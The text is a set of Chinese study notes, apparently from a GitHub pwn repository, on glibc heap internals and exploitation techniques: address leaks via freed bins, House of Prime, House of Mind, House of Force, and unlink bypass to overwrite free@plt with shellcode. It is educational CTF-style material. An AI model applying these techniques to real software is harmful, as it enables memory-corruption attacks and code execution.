937 | ====================================Fastbins==================================== 938 | 939 | [ fb 0 ] 0x7ffff7dd1b28 -> [ 0x0 ] 940 | [ fb 1 ] 0x7ffff7dd1b30 -> [ 0x0 ] 941 | [ fb 2 ] 0x7ffff7dd1b38 -> [ 0x0 ] 942 | [ fb 3 ] 0x7ffff7dd1b40 -> [ 0x0 ] 943 | [ fb 4 ] 0x7ffff7dd1b48 -> [ 0x0 ] 944 | [ fb 5 ] 0x7ffff7dd1b50 -> [ 0x0 ] 945 | [ fb 6 ] 0x7ffff7dd1b58 -> [ 0x602080 ] (128) 946 | [ 0x602000 ] (128) 947 | [ fb 7 ] 0x7ffff7dd1b60 -> [ 0x0 ] 948 | [ fb 8 ] 0x7ffff7dd1b68 -> [ 0x0 ] 949 | [ fb 9 ] 0x7ffff7dd1b70 -> [ 0x0 ] 950 | # Fastbins 是根据 fd 指针进行遍历 951 | (gdb) p *(mchunkptr)0x602080 952 | $4 = {prev_size = 4702111234474983745, size = 129, fd = 0x602000, bk = 0x4141414141414141, fd_nextsize = 0x4141414141414141, bk_nextsize = 0x4141414141414141} 953 | # 这里 dump 之前 chunk 的内容可以拿到 heap 的地址 954 | (gdb) x/wx 0x602090 955 | 0x602090: 0x00602000 956 | ``` 957 | 958 | 下面是一个关于 Bins 的例子, Bins 是双向环链表, 头插入, 可以通过已经释放的 Bin chunk 泄漏 libc 和 heap 地址. 959 | 960 | 这里需要理解一下由 `malloc(0xB0-8);` 的作用, 以及 Unstored bin 转为 small bins 的过程. 这里如果不清楚可以对应 libc 源码查看上面提到的 `_int_malloc()`的过程. 961 | 962 | ```c 963 | include 964 | #include 965 | #include 966 | void main() 967 | { 968 | void * m1 = malloc(0x90-8); 969 | malloc(1); 970 | void * m2 = malloc(0x90-8); 971 | malloc(1); 972 | void * m3 = malloc(0xA0-8); 973 | malloc(1); 974 | memset(m1, 65, 0x90-8); 975 | memset(m2, 65, 0x90-8); 976 | memset(m3, 65, 0xA0-8); 977 | 978 | free(m1); 979 | free(m2); 980 | free(m3); 981 | malloc(0xB0-8); 982 | printf("m1: %p\n", m1); 983 | printf("m2: %p\n", m2); 984 | printf("m3: %p\n", m3); 985 | printf("sizeof(size_t): %ld\n", sizeof(size_t)); 986 | } 987 | 988 | λ : gdb -q test2 989 | Reading symbols from test2...done. 990 | (gdb) b 19 991 | Breakpoint 1 at 0x4006ac: file test2.c, line 19. 992 | (gdb) r 993 | Starting program: /home/spiderzz/Desktop/pwn/malloc/test2 994 | 995 | Breakpoint 1, main () at test2.c:19 996 | 19 malloc(0xB0-8); 997 | (gdb) heap 998 | ===================================Heap Dump=================================== 999 | 1000 | Arena(s) found: 1001 | arena @ 0x7ffff7dd1b20 1002 | 1003 | # Unsorted bin 是双向环链表, 这里需要观察, 双向环链表的两个端点 chunk 的 FD 和 BK 的地址不同之处, 因为一个在 libc 的空间, 一个在 heap 的空间. 1004 | (gdb) heap -l 1005 | ===================================Heap Dump=================================== 1006 | 1007 | ADDR SIZE STATUS 1008 | sbrk_base 0x602000 1009 | chunk 0x602000 0x90 (F) FD 0x7ffff7dd1b78 BK 0x6020b0 1010 | chunk 0x602090 0x20 (inuse) 1011 | chunk 0x6020b0 0x90 (F) FD 0x602000 BK 0x602160 1012 | chunk 0x602140 0x20 (inuse) 1013 | chunk 0x602160 0xa0 (F) FD 0x6020b0 BK 0x7ffff7dd1b78 1014 | chunk 0x602200 0x20 (inuse) 1015 | chunk 0x602220 0x20de0 (top) 1016 | sbrk_end 0x602001 1017 | (gdb) heap -b 1018 | ===================================Heap Dump=================================== 1019 | 1020 | unsorted bin @ 0x7ffff7dd1b88 1021 | free chunk @ 0x602160 - size 0xa0 1022 | 1023 | free chunk @ 0x6020b0 - size 0x90 1024 | 1025 | free chunk @ 0x602000 - size 0x90 1026 | # 这个也就是返回的 fake chunk 的地址, 这地址其实就是 bin_at 的返回值 1027 | (gdb) p *(mfastbinptr)0x7ffff7dd1B78 1028 | $1 = {prev_size = 6300192, size = 0, fd = 0x602160, bk = 0x602000, fd_nextsize = 0x7ffff7dd1b88 , bk_nextsize = 0x7ffff7dd1b88 } 1029 | (gdb) n 1030 | 20 printf("m1: %p\n", m1); 1031 | # 这里需要理解 Bins 的 FD 和 BK. 1032 | (gdb) heap -l 1033 | ===================================Heap Dump=================================== 1034 | 1035 | ADDR SIZE STATUS 1036 | sbrk_base 0x602000 1037 | chunk 0x602000 0x90 (F) FD 0x7ffff7dd1bf8 BK 0x6020b0 1038 | chunk 0x602090 0x20 (inuse) 1039 | chunk 0x6020b0 0x90 (F) FD 0x602000 BK 0x7ffff7dd1bf8 1040 | chunk 0x602140 0x20 (inuse) 1041 | chunk 0x602160 0xa0 (F) FD 0x7ffff7dd1c08 BK 0x7ffff7dd1c08 (LC) 1042 | chunk 0x602200 0x20 (inuse) 1043 | chunk 0x602220 0xb0 (inuse) 1044 | chunk 0x6022d0 0x20d30 (top) 1045 | sbrk_end 0x602001 1046 | # 这里需要理解 Unsorted bin 是如何变为 small bin 1047 | (gdb) heap -b 1048 | ===================================Heap Dump=================================== 1049 | 1050 | small bin 9 @ 0x7ffff7dd1c08 1051 | free chunk @ 0x6020b0 - size 0x90 1052 | 1053 | free chunk @ 0x602000 - size 0x90 1054 | small bin 10 @ 0x7ffff7dd1c18 1055 | free chunk @ 0x602160 - size 0xa0 1056 | # bin_at 的返回, 需要联合上面的两条命令返回的结果一起理解 1057 | (gdb) p *(mfastbinptr)0x7ffff7dd1BF8 1058 | $3 = {prev_size = 140737351850984, size = 140737351850984, fd = 0x6020b0, bk = 0x602000, fd_nextsize = 0x602160, bk_nextsize = 0x602160} 1059 | # bin_at 的返回, 需要联合上面的两条命令返回的结果一起理解 1060 | (gdb) p *(mfastbinptr)0x7ffff7dd1C08 1061 | $2 = {prev_size = 6299824, size = 6299648, fd = 0x602160, bk = 0x602160, fd_nextsize = 0x7ffff7dd1c18 , bk_nextsize = 0x7ffff7dd1c18 } 1062 | ``` 1063 | 1064 | 上面提到如何使用 Bins 泄露 libc 和 heap 的地址, 这一部分其实在 Phrack 的 `` 的 `4.5 Abusing the leaked information` 一小部分有提到. 可以通过 "find a lonely chunk in the heap" 去泄露, 相当于上面例子中的 `m3`, 位于 `small bin 10`, 释放后会修改 `FD`, `BK` 为该 Bin 的地址, 进而泄露 libc 的地址. 还有一种方法就是 "find the first or last chunk of a bin", 相当于上面例子中的 `m1`, `m2`, 释放后, 会造成 `FD` 和 `BK` 一个在 `ptr_2_libc's_memory`, 一个在 `ptr_2_process'_heap`. 1065 | 1066 | 下面说明如何使用一个 `lonely chunk`, 拿到关键函数的地址, 在 `` 中使用的是 `__morecore` 这个函数指针, 它指向 `__default_morecore`, 也就是系统用于增加内存的函数, 默认为 `brk()`, 这里简单提一下. 1067 | 1068 | 1069 | 这里直接使用上面的 `m3` 作为例子举例, `m3` 在释放后变为 `lonely chunk`, 位于 `small bin 10` 1070 | 1071 | ``` 1072 | #0.这里已知该 chunk 所在 bin 的地址 (t0 = 0x7ffff7dd1c08+0x10)(对于为什么需要加 0x10, 是因为 fake chunk, 具体参考上面) 1073 | #1.根据 chunk 的 size, 取得对应 bin index, 这里其实也就是 10, 可以查看 bin_index 宏, 查看对应具体实现 1074 | #2.根据 bin index, 获取到该 bin 与 main_arena 的地址差, 从而获得 main_arena 的地址. 1075 | t0 = 0x7ffff7dd1c08 + 0x10 1076 | t1 = (long)&main_arena.bins - (long)&main_arena 1077 | t2 = (long)&__morecore - (long)&(main_arena) 1078 | t3 = (10-1)*2*8 //至于为什么这么算, 请参考源码 bin_at 宏 1079 | &main_arena = t0 - (t3+t1) = 0x7ffff7dd1b20 1080 | #3.根据 _morecore 与 main_arena 的地址差, 得到 _morecore 的地址 1081 | &__morecore = &main_arena + t2 1082 | ``` 1083 | 1084 | 整个过程用一句话表示 "Using the known size of the chunk, we know in which bin it was placed, so we can get main_arena's address and, finally, __morecore.", 具体的过程也就是上面写的. 1085 | 1086 | #### aa4bmo 'almost arbitrary 4 bytes mirrored overwrite' (任意 4 字节写) 1087 | 1088 | 很多情况下 aa4bmo 是由于 chunk overlap ( chunk corruption ) 导致的. 1089 | 1090 | 对于 aa4bmo, 这一块在 `PWN之堆触发.md` 有完善的介绍和总结. 1091 | 1092 | -------------------------------------------------------------------------------- /PWN之堆触发.md: -------------------------------------------------------------------------------- 1 | #### 参考资料 2 | 3 | ``` 4 | #最好按照参考资料顺序查看 5 | 6 | #malloc理解 7 | 8 | 9 | #关于堆相关利用的一些示例程序, 以及参考文档, 这个强力推荐, 建议把其中列举的所有参考文档都阅读并理解 10 | https://github.com/shellphish/how2heap 11 | 12 | #介绍常用漏洞, 如何由 BUG 到 Primitive, 再如何到 Exploit 13 | 2002.gera.About_Exploits_Writing.pdf 14 | 15 | #unlink参考资料 16 | #都是讲unlink 和 unlink 的绕过的, 但是总感觉对于 unlink 绕过保护机制那块没有讲出原理. 17 | #因该是free@plt, 而不是 free@got, 因为 ELF 将 got 表拆分为两部分 `.got`, `.got.plt`, 详细查看 18 | http://static.hx99.net/static/drops/tips-7326.html 19 | http://www.ms509.com/?p=49 20 | #只讲到 unlink, 没有提及绕过, 但是讲到一些检测机制. 21 | https://jaq.alibaba.com/community/art/show?articleid=360 22 | 23 | #感觉这作者好厉害, 有自己的一个对漏洞的全方位理解, 很透彻. 24 | http://www.freebuf.com/articles/system/91527.html 25 | 26 | https://googleprojectzero.blogspot.jp/2014/08/the-poisoned-nul-byte-2014-edition.html(Project Zero) 27 | https://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf (off-by-one 总结) 28 | http://angelboy.logdown.com/posts/262325-plaid-ctf-2015-write-up (shrink free chunk size) 29 | http://blog.frizn.fr/pctf-2015/pwn-550-plaiddb (shrink free chunk size) 30 | http://netsec.ccert.edu.cn/wp-content/uploads/2015/10/2015-1029-yangkun-Gold-Mining-CTF.pdf (内存pwn总结) 31 | ``` 32 | ## 0x00 堆利用综述 33 | 34 | 在这里我们仅讨论 `Turning bugs into primitives` 的过程, 关注更多的利用方法背后的原理, 而不是利用方法本身. 这里仅仅是个人看法, 个人的一些理解. 35 | 36 | 下面的很多漏洞是实现 aa4bmo 'almost arbitrary 4 bytes mirrored overwrite' (任意 4 字节写), 所以需要一个代码段来实现 `*x=y` 操作. 37 | 38 | 要实现 `*x=y` 有几种思路, 从这个操作的发起者层面讲, 1. 用户主动发起修改操作 2. 借助 glibc 函数自带的类似操作. 39 | 40 | #### 对于用户主动发起操作的思考: 41 | 42 | 1. 正常的 `x` 经过绕过后, 恶意修改为关键信息的地址, 比如存在 `*t=x` 类似操作就可能导致 `x` 指向的位被修改, 典型的例子就是 unlink 的绕过利用. 43 | 2. 恶意构造和修改 `malloc_state` 结构, 导致 malloc 的返回地址 `x` 为关键信息地址, 这里需要考虑到 malloc 可以哪些缓存取到空闲 chunk, 比如: fastbins ? bins ? top chunk ? 这是对 `malloc_state` 的一种利用场景, 借助再分配可控内存, 同时还有另一个种对 `malloc_state` 的利用在下面会提到. 44 | 45 | #### 对于借助 glibc 函数本身类似的操作的思考: 46 | 47 | 就是找到类似 `*x=y` 的操作, 并且对于 `x` 和 `y` 都需要有一定的控制权, 比如 unlink 操作. 这里需要明白 `*x=y` 要表达的意思, 可以认为, 在地址 `x` 记录 `y` 值, 思考在 glibc 中哪里需要这样的操作. 48 | 49 | ``` 50 | #define unlink( P, BK, FD ) { 51 | BK = P->bk; 52 | FD = P->fd; 53 | FD->bk = BK; 54 | BK->fd = FD; 55 | } 56 | ``` 57 | 58 | unlink 操作在没有加验证时时, 它的两个参数都是无限制, 可以容易实现 "任意地址写" 操作. 59 | 60 | 根据 `*x=y` 要表达的意思, 并且类比 unlink, unlink 是拆除空闲节点, 这个操作通常是发生在分配和合并 chunk 时. 61 | 62 | 分配操作发生在 `_int_malloc()`, 但是有个问题, 这时候的分配的内容使很难被控制的, 也就是很难 `craft a fake chunk` 63 | 64 | 合并操作多发在 `_int_free()` (在 `_int_malloc()` 也可能发生合并操作, 比如 `malloc_consolidate()`). 65 | 66 | 以上是类比 unlink 操作, 如果熟悉 ptmalloc 的空闲内存管理以及如何进行回收, 可以想到, 在 chunk 被释放后需要将空闲 chunk 的地址插入到 Fastbins, Unsorted bin, Bins, 所以在这个过程中就会存在 `*x=y` 的类似操作, 这里也存在一个问题, Fastbins, Unsorted bin, Bins 是分配区结构体 `malloc_state` 的元素, 也就是静态全局变量 `main_arena` 变量, 地址固定, 所以这里 `x` 被限制, 同样由于 `_int_free()` 的检查以及具体代码的实现(正常的代码逻辑肯定不是瞎释放内存啊, 所以释放的地址也几乎不会被用户控制), 因此这里的 `y` 也被限制, 所以就希望找到绕过限制的方法, 比如对于 `x` 的限制, 可以通过尝试伪造 `malloc_state`, 借助 free 过程中向 `malloc_state` 的写过程, 完成 `*x=y` 操作, 这是对 `malloc_state` 的另一种利用, 是在两个不同的角度. 67 | 68 | 所以很多时候是由于部分逻辑没有检查全, 感觉有点像 yuange 说的意思, 对于代码逻辑, 应该是什么样子,需要检查清楚, 妥协就又可能造成绕过. 69 | 70 | ## 0x00 The House of Prime 71 | 72 | 该利用已经不再适用, `malloc_state` 不在包含 `max_fast`, 以及 在 `_int_free` 的过程中检查 了 chunk 的最小 size. 73 | 74 | #### 参考链接 75 | 76 | ``` 77 | The Malloc Maleficarum (http://seclists.org/bugtraq/2005/Oct/118) 78 | https://gbmaster.wordpress.com/2014/08/24/x86-exploitation-101-this-is-the-first-witchy-house/ 79 | ``` 80 | 81 | #### 导致(最终结果): 82 | 83 | **伪造 malloc 返回地址, 实现 aa4bmo. (针对 Fastbins 利用)** 84 | 85 | **借助 `_int_free()` 地址写操作, 实现 aa4bmo. (针对 Unstored bin 的利用)** 86 | 87 | #### 原理和思考 88 | 89 | 绕过 Fastbins 分配限制, 覆盖了 `arena_key `, 导致伪造了 `arena_key `, 从而伪造了空闲 chunk 地址, 通过再分配, 就可以得到之前伪造的空闲 chunk 地址的内容控制权, 最终导致 aa4bmo 90 | 91 | #### 利用过程: 92 | 93 | Fastbins 的利用思路 94 | 95 | 首先对第一个 chunk 进行释放操作, 这里需要修改 chunk size, `_int_free` 释放内存时没有检测 chunk size 的最小值, 导致 `fastbin_index` 结果为 -1, `max_fast` 恰好位于 `fastbins` 相邻, 进而 ` max_fast` 被覆盖为有一个很大的值(空闲 chunk 地址), 此时对第二个 chunk 进行释放, 这里需要修改 chunk size, 以使释放后的 chunk 能恰好被放在 `arena_key` 位置, 此时会导致 arena_key 指向第二个 chunk, 由于这两个 chunk 都是可以控制的, 此时进行 malloc 操作, 我们可以通过 伪造 Fastbins 链表内容(空闲 chunk 的地址), 进而让 malloc 返回我们伪造的空闲 chunk 的地址, 以达到任意内存地址写内容 96 | 97 | Unsorted bin 利用思路 98 | 99 | 根据上面, Fastbins 的前部分思路, `arena_key` 可以被控制, 因此我们伪造 Unstorted bin 链表内容, 在摘除 unsorted bin 节点时, 利用 glibc 函数内部操作, 达到任意地址写. 100 | 101 | #### 触发前提(限制): 102 | 103 | 这里限制有点多了, 对于 Fastbins 利用, 需要能控制第一个 chunk 的 size, 需要能控制第二个 chunk 的内容. 对于 Unsorted bin 的利用, 也是如上, 在伪造 unsorted bin 步骤比较复杂. 104 | 105 | #### 保护机制: 106 | 107 | 已经在 `_int_free` 限制了 chunk 的最小 size. 108 | 109 | ``` 110 | https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=bf58906631af8fe0d57625988b1d003cc09ef01d;hp=04ec80e410b4efb0576a2ffd0d2f29ed1fdac451 111 | ``` 112 | 113 | ## 0x00 House of Mind 114 | 115 | #### 参考链接 116 | 117 | ``` 118 | The Malloc Maleficarum (http://seclists.org/bugtraq/2005/Oct/118) 119 | https://sploitfun.wordpress.com/2015/03/04/heap-overflow-using-malloc-maleficarum/ 120 | https://gbmaster.wordpress.com/2015/06/15/x86-exploitation-101-house-of-mind-undead-and-loving-it/ 121 | http://phrack.org/issues/66/10.html 122 | ``` 123 | 124 | #### 导致(最终结果): 125 | 126 | **aa4bmo** 127 | 128 | #### 原理(触发原因): 129 | 130 | 同一开始的 **堆利用综述** 做比较, 这里属于控制 `malloc_state` 分配区, 进而控制 `x` 但写入的 `y` 被限定为空闲 chunk 地址. 131 | 132 | ``` 133 | #define HEAP_MAX_SIZE (1024*1024) /* must be a power of two */ 134 | 135 | #define heap_for_ptr(ptr) \ 136 | ((heap_info *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE-1))) 137 | 138 | /* check for chunk from non-main arena */ 139 | #define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA) 140 | 141 | #define arena_for_chunk(ptr) \ 142 | (chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)->ar_ptr : &main_arena) 143 | ``` 144 | 145 | chunk 所属分配区被伪造, 然后经过大量内存分配, 进而导致获取 `heap_info` 的过程被劫持, 得到的是我们伪造的 `heap_info`,进而伪造 `malloc_state`, 从而导致 `_int_free()` 传入的是伪造的 `malloc_state` , 最后利用 `_int_free()` 内的写操作, 实现任意地址写特定内容. 146 | 147 | #### 利用思路: 148 | 149 | 修改返回地址为 chunk 地址, chunk 内容为 shellcode 150 | 151 | #### 触发前提(限制): 152 | 153 | 很显著的一个限制就是堆数据可执行 154 | 155 | 详细的的限制条件在 `参考链接` 的文章指出, 具体的限制, 会在下面与 payload 对照指出, 这样可能更清楚. 156 | 157 | #### 保护机制: 158 | 159 | 堆数据可执行 160 | 161 | #### 利用实践 162 | 163 | 下面是需要构造的内存布局, 当执行 `_int_free()` 会修改 `av->fastbins[0]` 地址为 chunk 的地址, 达到修改返回地址的目的, 这个返回地址是有限制的, 只能是被释放的 chunk 的地址, 需要进一步利用. 164 | 165 | ``` 166 | STACK: ^ 167 | | 168 | | 0xRAND_VAL av->system_mem (av + 1848) 169 | | ... 170 | | pushed EIP av->fastbins[0] 171 | | pushed EBP av->max_fast 172 | | 0x00000000 av->mutex 173 | | 174 | ``` 175 | 176 | 具体测试程序在 [evilHEAP](http://github.com/jmpews/evilHEAP) 177 | 178 | ## 0x00 House of Force 179 | 180 | #### 参考资料 181 | 182 | ``` 183 | https://sploitfun.wordpress.com/2015/03/04/heap-overflow-using-malloc-maleficarum/ 184 | https://gbmaster.wordpress.com/2015/06/28/x86-exploitation-101-house-of-force-jedi-overflow/ 185 | http://seclists.org/bugtraq/2005/Oct/118 186 | http://s0ngsari.tistory.com/entry/Heap-Exploit-House-of-Force 187 | `refs/heap/Bugtraq_The Malloc Maleficarum.pdf` 对一些关键语句做了标记 188 | ``` 189 | 190 | #### 导致(最终结果): 191 | 192 | 控制 malloc 返回地址, 最终导致 **aa4bmo** 193 | 194 | **原理(触发原因):** 195 | 196 | 分配很大的内存, 导致恶意修改 top chunk 地址为关键信息地址. 197 | 198 | 具体解释 199 | 200 | 当 malloc 需要分配一块很大的内存时, 需要检查 top chunk 合适. 201 | 202 | ```c 203 | static void * 204 | _int_malloc (mstate av, size_t bytes) 205 | { 206 | INTERNAL_SIZE_T nb; /* normalized request size */ 207 | unsigned int idx; /* associated bin index */ 208 | mbinptr bin; /* associated bin */ 209 | 210 | mchunkptr victim; /* inspected/selected chunk */ 211 | INTERNAL_SIZE_T size; /* its size */ 212 | int victim_index; /* its bin index */ 213 | 214 | mchunkptr remainder; /* remainder from a split */ 215 | unsigned long remainder_size; /* its size */ 216 | 217 | unsigned int block; /* bit map traverser */ 218 | unsigned int bit; /* bit map traverser */ 219 | unsigned int map; /* current word of binmap */ 220 | 221 | mchunkptr fwd; /* misc temp for linking */ 222 | mchunkptr bck; /* misc temp for linking */ 223 | 224 | const char *errstr = NULL; 225 | 226 | /* 227 | Convert request size to internal form by adding SIZE_SZ bytes 228 | overhead plus possibly more to obtain necessary alignment and/or 229 | to obtain a size of at least MINSIZE, the smallest allocatable 230 | size. Also, checked_request2size traps (returning 0) request sizes 231 | that are so large that they wrap around zero when padded and 232 | aligned. 233 | */ 234 | 235 | checked_request2size (bytes, nb); 236 | 237 | [...] 238 | 239 | malloc.c:3749 240 | use_top: 241 | victim = av->top; 242 | size = chunksize (victim); 243 | 244 | if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 245 | { 246 | remainder_size = size - nb; 247 | remainder = chunk_at_offset (victim, nb); 248 | av->top = remainder; 249 | set_head (victim, nb | PREV_INUSE | 250 | (av != &main_arena ? NON_MAIN_ARENA : 0)); 251 | set_head (remainder, remainder_size | PREV_INUSE); 252 | 253 | check_malloced_chunk (av, victim, nb); 254 | void *p = chunk2mem (victim); 255 | alloc_perturb (p, bytes); 256 | return p; 257 | } 258 | ``` 259 | 260 | 这里直接使用 chunk_at_offset 作为 top chunk 的地址. 261 | 262 | ``` 263 | /* Treat space at ptr + offset as a chunk */ 264 | #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) 265 | ``` 266 | 267 | 所以假如可以任意指定 nb 值, 就可以 `任意` 控制 top chunk 的地址. 假如再通过 malloc 分配就可以获得需要控制的地址. 268 | 269 | #### 触发前提(限制): 270 | 271 | 正常的逻辑应该是 当分配很大内存时在检查 top chunk 不够后, 主分配会调用 `brk()` 扩展 top chunk, 非主分配去会调用 `mmap()` 扩展 sub-heap. 这就需要控制 top chunk 的 size 假装 top chunk 所占空间很大, 以实现 memory overlap. 272 | 273 | 另一个点, 在上面的提到 `任意` 控制 top chunk 的地址, 这个任意是有限制的, `nb` 只是相对于 `victim` 的任意地址, 所以按理来说还需要 leak heap address, 测试程序中直接给出. 274 | 275 | #### 保护机制: 276 | 277 | 如果开启 `RELRO` 无法修改 got 表. 278 | 279 | 如果没有开启堆执行保护也可以修改返回栈中 EIP 的地址, 为 shellcode 地址, 前提是需要知道栈中 EIP 的位置. 280 | 281 | #### 利用实践 282 | 283 | 具体测试程序在 [evilHEAP](http://github.com/jmpews/evilHEAP) 284 | 285 | ## 0x00 unlink 286 | 287 | #### 导致(最终结果): 288 | 289 | **实现任意内存地址写内容, 具体来说是借助 unlink 进行写, 我们只需要构造好数据即可.** 290 | 291 | #### 原理(触发原因): 292 | 293 | unlink 进行地址内容写操作没有进行检查. unlink 操作是从 chunk 双向环中摘除节点, 一般来说会在 malloc 时触发, 但是当需要 free 的 chunk 前后也有空闲 chunk, 会进行空闲 chunk 的合并, 这时需要 unlink 那个需要合并的空闲 chunk. 294 | 295 | ``` 296 | #define unlink( P, BK, FD ) { 297 | BK = P->bk; 298 | FD = P->fd; 299 | FD->bk = BK; 300 | BK->fd = FD; 301 | } 302 | ``` 303 | 304 | 由于堆的内容是可以控制的, FD 和 BK 均为可以控制的, 由此导致任意地址写内容. 305 | 306 | #### 触发前提(限制): 307 | 308 | free 的 chunk 前后存在空闲 chunk, 也可以通过溢出值覆盖需要 free 的 chunk 的 `P` 位, 能控制需要 unlink 的 chunk 的内容. 309 | 310 | #### 保护机制: 311 | 312 | ``` 313 | eglibc-2.19/malloc/malloc.c:1410 314 | if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ 315 | malloc_printerr (check_action, "corrupted double-linked list", P); \ 316 | ``` 317 | 318 | 为什么这个判断可以防止 unlink 攻击, 首先很明确, `FD` 和 `BK`内容可控, 由于要求 `*(FD+24) == P && *(BK+16) == P`, 对 `FD` 和 `BK` 进行了限定, 即使可以找到内存中某个地址 `(FD+24)` , 使 `*(FD+24) == P` 成立, 但是当进行 `FD->bk = BK; BK->fd = FD`, 也会出现写入的地址不是关键地址, 写入的内容也不是我们想要的, 因此 `任意地址写任意内容` 变为 `限制地址写限制内容`, 导致无法被利用, 更何况这还需要找一个泄露任意地址内容的方法. 319 | 320 | #### 绕过保护机制: 321 | 322 | 下面思路是应该算是逆向保护机制, 之后会在下面提到另一个思路. 方法都是一样的, 只不过理解方式不一样. 323 | 324 | 这个保护机制的绕过, 个人感觉不算是绕过, 应该是妥协了这个保护机制. 325 | 326 | 下面讨论的 是针对 x64 而言, 字长 8 字节. 327 | 328 | 既然保护机制要求 `FD->bk == P && BK->fd == P`, 这里拿 `FD->bk ==P ` 进行举例, 也就是说 ` *(FD+24) == P`, 也就是 `*((P->fd) + 24) == P`, 所以我们需要一个已知地址的指针, 并且该指针指向 P, 下面作如下假设 329 | 330 | ```c 331 | mchunkptr * unlinks[1] = { P }; 332 | P->fd = (void*)(&unlink[0])-24 333 | P->bk = (void*)(&unlink[0])-16 334 | ``` 335 | 336 | 这样就可以通过保护机制. 但是我们找到这样一个指针只能算是 **通过** 了保护机制, 然而如何利用这个指针实现任意地址写的需要进一步利用, 将在下面介绍由此导致的利用 337 | 338 | #### 利用思路: 339 | 340 | 构造好 `P->bk` 和 `P->fd` 的值, 比如现在需要当调用 `free` 执行 `shellcode`, 这里需要的注意的因为 `free` 需要进行延迟绑定的, 所以 `.got.plt` 存放了解析后 `free` 函数的内存地址, 这也对应了 `*((P->fd) + 24) == P` 的 `*` 操作. 所以我们可以直接构造 `P->fd = + 24`, `P->bk = shellcode 地址`, 当进行 unlink 操作时, 触发 `FD->bk = BK`, 修改 `free@plt` 内容为 `shellcode` 地址, 同时为了避免 `BK->fd = FD` 的影响, 需要将 `shellcode` 的前面一小段字节设为 `nop`. 341 | 342 | ## 0x00 unlink(过保护机制) 343 | 344 | #### 导致(最终结果): 345 | 346 | 实现任意内存地址写内容; 修改了 chunk 的起始地址, 写入操作无需借助原函数, 用户主动进行写操作 347 | 348 | #### 原理(触发原因): 349 | 350 | 构造一个特殊 chunk (craft a fake chunk) 和 内存覆盖(memory overlap) 351 | 352 | 这里转化为 `void*` 可以思考下. 353 | 354 | 在上面已经得到了如下的假设, 之前提到另一种理解方式, 其实需要找到指向 P 的已知地址的指针, 其实就是需要伪造一个 chunk, 这个 chunk 的 `chunk->bk == P`, 这个指针的地址就可以理解为 chunk 的地址, 其实就是 `(void*)(&unlink[0])-24`, 所以上面的整个过程可以理解为伪造了两个 fake chunk, `(void*)(&unlink[0])-24` 和 `(void*)(&unlink[0])-18` 其实就是这两个 fake chunk 的起始地址. 355 | 356 | ```c 357 | mchunkptr * unlinks[1] = { P }; 358 | P->fd = (void*)(&unlink[0])-24 359 | P->bk = (void*)(&unlink[0])-16 360 | ``` 361 | 362 | 之后进行 unlink 操作, 触发 `BK->fd = FD` 也就是 363 | 364 | ```c 365 | P->bk->fd = FD 366 | ((void*)(&unlink[0])-16)->fd = FD 367 | *(void*)(&unlink[0]) = FD 368 | unlink[0] = FD 369 | unlink[0] = (void*)(&unlink[0])-24 370 | ``` 371 | 372 | 经过 unlink 操作, `unlink[0]` 指向了 fake chunk, 但是这个 fake chunk 的地址是 `(void*)(&unlink[0])-24` 很特殊, 也就是说这个 fake chunk 与 `unlink[0]` 重叠了, 贼恐怖. 373 | 374 | 按照正常逻辑, 假如有个函数 `edit_chunk(mchunkptr *ptr, char *content)`, 第一次调用 `edit_chunk(unlink[0], "A"*24+free@plt)`, 如此一来 `unlink[0]` 就被覆盖为 `free@plt`. 当再次调用 `edit_chunk(unlink[0], shllcode_address)` , 因为此时 `unlink[0]` 已经被恶意覆盖, 所以直接造成修改 `free@plt` 为 shellcode 的地址. 375 | 376 | #### 触发前提(限制): 377 | 378 | 0. 能够触发 unlink 379 | 1. 一个指向 P 的已知地址的指针. 380 | 2. 可以重复修改 `unlink[0]` 指向的 chunk 的内容 381 | 382 | #### 保护机制: 383 | 384 | 这里主要是利用 unlink 修改了指向 chunk 的地址, 之后由用户进行主动写操作, 对于 unlink 的防护, 我们已经伪造了 fake chunk, 该防护失效. 385 | 386 | #### 利用思路: 387 | 388 | 见 **原理(触发原因)**** 389 | 390 | 391 | 392 | ## 0x00 off-by-one 393 | 394 | ## Null Byte Off-by-one 395 | 396 | #### PlaidDB(pwn 550) 397 | -------------------------------------------------------------------------------- /PWN之栈触发.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/PWN之栈触发.md -------------------------------------------------------------------------------- /PWN之漏洞触发点.md: -------------------------------------------------------------------------------- 1 | #### 参考资料 2 | 3 | ``` 4 | http://netsec.ccert.edu.cn/wp-content/uploads/2015/10/2015-1029-yangkun-Gold-Mining-CTF.pdf (长亭内存 PWN 总结) 5 | ``` 6 | 7 | ## 栈触发 8 | 9 | 10 | ## 堆触发 11 | 12 | #### unlink 13 | 14 | #### off-by-one 15 | 16 | #### Null Byte Off-by-one -------------------------------------------------------------------------------- /PWN之绕过保护机制.md: -------------------------------------------------------------------------------- 1 | ## 1. ROP 返回导向编程 2 | 3 | 使用 `rop` 方法进行利用, 关键在于不发生代码注入, 直接绕过了 `NX(DEP)`. 根据利用 `ret` 的特性(`pop` 栈中元素作为返回地址), 利用类似包含 `ret` 的一段段 `gadgets` 构造完整恶意的函数调用. 4 | 5 | `rop` 有四个关键点. 6 | 7 | #### 0. 控制栈(stack)数据 8 | 这个是利用前提. 9 | 10 | #### 1. 泄露关键函数地址 11 | 泄露函数地址的方法: 12 | 13 | * 根据已知函数的 `.got` 表地址, 以及 `libc` 文件计算两个符号间的偏移. 14 | * 根据 `DynELF` 进行文件解析, 大致就是解析 `ELF` 结构, 原理可以参考 `so` 注入过程如何查找 `__libc_dlopen_mode` 方法. 15 | 16 | #### 2. 构造ROP利用链 17 | 18 | #### 3. 触发ROP链 19 | -------------------------------------------------------------------------------- /PWN之逆向技巧.md: -------------------------------------------------------------------------------- 1 | ## PWN之逆向技巧 2 | 3 | #### 生成shellcode 4 | 5 | 需要将汇编指令生成16进制码, 可以使用 `NASM` 这个工具, `OSX` 直接 `brew install nasm` 即可. 6 | 7 | ``` 8 | _start: jmp string 9 | 10 | begin: pop eax ; char *file 11 | xor ecx ,ecx ; *caller 12 | 